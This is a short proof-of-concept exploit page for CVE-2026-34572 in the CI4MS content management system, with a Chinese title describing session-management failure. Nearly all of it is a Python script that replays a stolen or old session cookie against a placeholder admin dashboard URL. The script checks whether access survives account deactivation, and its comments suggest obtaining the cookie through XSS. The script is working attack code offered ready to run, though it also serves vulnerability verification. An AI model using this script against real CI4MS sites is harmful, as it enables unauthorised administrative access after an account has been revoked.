CVE-2026-34572 CI4MS会话管理失效导致未授权访问

import requests # Exploit Title: CI4MS Session Fixation / Account Deactivation Bypass # Description: Demonstrates that a user remains authenticated after account deactivation. target_url = "http://target-ci4ms-site.com/admin/dashboard" # 1. Attacker obtains a valid session cookie (e.g., via XSS or previous access) valid_session_cookie = "ci4ms_session=abc123def456..." headers = { "Cookie": valid_session_cookie, "User-Agent": "Mozilla/5.0" } # 2. Administrator deactivates the account associated with this session in the backend. # (This step is performed outside the script by an admin) # 3. Attacker attempts to access the dashboard using the old session response = requests.get(target_url, headers=headers) if response.status_code == 200 and "dashboard" in response.text: print("[+] Vulnerability Confirmed: Access granted despite account deactivation.") else: print("[-] Access denied or session expired.")